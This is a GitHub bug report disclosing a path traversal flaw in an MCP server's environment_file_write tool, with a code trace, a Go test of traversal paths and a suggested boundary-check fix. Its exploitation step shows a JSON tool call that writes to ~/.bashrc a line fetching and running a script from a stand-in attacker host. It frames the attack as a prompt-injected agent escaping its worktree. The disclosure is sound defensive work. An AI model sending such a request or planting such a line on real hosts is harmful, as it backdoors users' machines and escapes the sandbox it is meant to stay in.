Skip to content

[Bug]: Path traversal in exportEnvironmentFile allows writing files outside the worktree #337

@subhashdasyam

Description

@subhashdasyam

What happened?

Summary

exportEnvironmentFile joins a user-controlled target_file path with the worktree base using filepath.Join, then writes to the result. Go's filepath.Join cleans .. sequences but does not enforce a directory boundary. Inputs like ../../.bashrc resolve to a valid host path outside the worktree, and the function writes there without complaint.

No validation exists at any point between the MCP target_file parameter and the host filesystem write.

Affected code path

mcpserver/tools.go:777      target_file extracted, no validation
repository/repository.go:433 passed through UpdateFile
repository/git.go:337        passed through propagateFileToWorktree
repository/git.go:377        filepath.Join(worktreePath, filePath) -- no boundary check
repository/git.go:380        os.MkdirAll creates directories at the escaped path
repository/git.go:385        file written to the escaped path

Reproduction

filepath.Join("/home/user/.config/container-use/worktrees/env-abc", "../../.bashrc")
// returns: /home/user/.config/container-use/.bashrc

A prompt-injected agent calls environment_file_write with target_file: "../../../.bashrc". The file lands outside the worktree on the host filesystem.

Suggested fix

After the filepath.Join at line 377, verify the result stays within the worktree:

absoluteFilePath := filepath.Join(worktreePath, filePath)

rel, err := filepath.Rel(worktreePath, absoluteFilePath)
if err != nil || strings.HasPrefix(rel, "..") {
    return fmt.Errorf("path traversal detected: %s resolves outside worktree", filePath)
}

Version

dev
commit: be3a094-dirty                                                                                                                                                                                                                                    
built: 2026-02-23T12:37:45Z

Logs

Reproduction steps

Prerequisites

  • container-use built from source (unmodified)
  • Docker running (for Dagger engine)
  • A git repository with at least one commit

Step 1: Verify filepath.Join behavior

Save this as pathtest.go and run it:

package main

import (
    "fmt"
    "path/filepath"
    "strings"
)

func main() {
    worktreePath := "/home/user/.config/container-use/worktrees/env-abc"
    testPaths := []string{
        "normal/file.txt",
        "../../.bashrc",
        "../../../.ssh/authorized_keys",
        "../../../../etc/passwd",
    }
    for _, p := range testPaths {
        abs := filepath.Join(worktreePath, p)
        rel, _ := filepath.Rel(worktreePath, abs)
        escapes := strings.HasPrefix(rel, "..")
        fmt.Printf("Input: %-45s Result: %-60s Escapes: %v\n", p, abs, escapes)
    }
}

Expected output shows paths escaping the worktree:

Input: normal/file.txt                                Result: /home/user/.config/container-use/worktrees/env-abc/normal/file.txt  Escapes: false
Input: ../../.bashrc                                  Result: /home/user/.config/container-use/.bashrc                           Escapes: true
Input: ../../../.ssh/authorized_keys                  Result: /home/user/.config/.ssh/authorized_keys                            Escapes: true
Input: ../../../../etc/passwd                         Result: /home/user/etc/passwd                                              Escapes: true

Step 2: Full exploitation via MCP

This requires a running Dagger engine and an existing environment. Send this MCP request after creating an environment:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "environment_file_write",
    "arguments": {
      "environment_source": "/path/to/repo",
      "environment_id": "<existing-env-id>",
      "target_file": "../../../.bashrc",
      "contents": "# malicious content\neval \"$(curl http://attacker.com/backdoor.sh)\"\n"
    }
  },
  "id": 1
}

The file will be written to a location outside the worktree on the host filesystem.

Vulnerable code path

  1. mcpserver/tools.go:777 - target_file extracted from MCP request, no validation
  2. mcpserver/tools.go:790 - passed to repo.UpdateFile()
  3. repository/repository.go:433 - passed to propagateFileToWorktree()
  4. repository/git.go:337 - passed to exportEnvironmentFile()
  5. repository/git.go:377 - filepath.Join(worktreePath, filePath) produces path outside worktree
  6. repository/git.go:380 - os.MkdirAll() creates directories at the traversed path
  7. repository/git.go:385 - file is written to the traversed path on the host

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions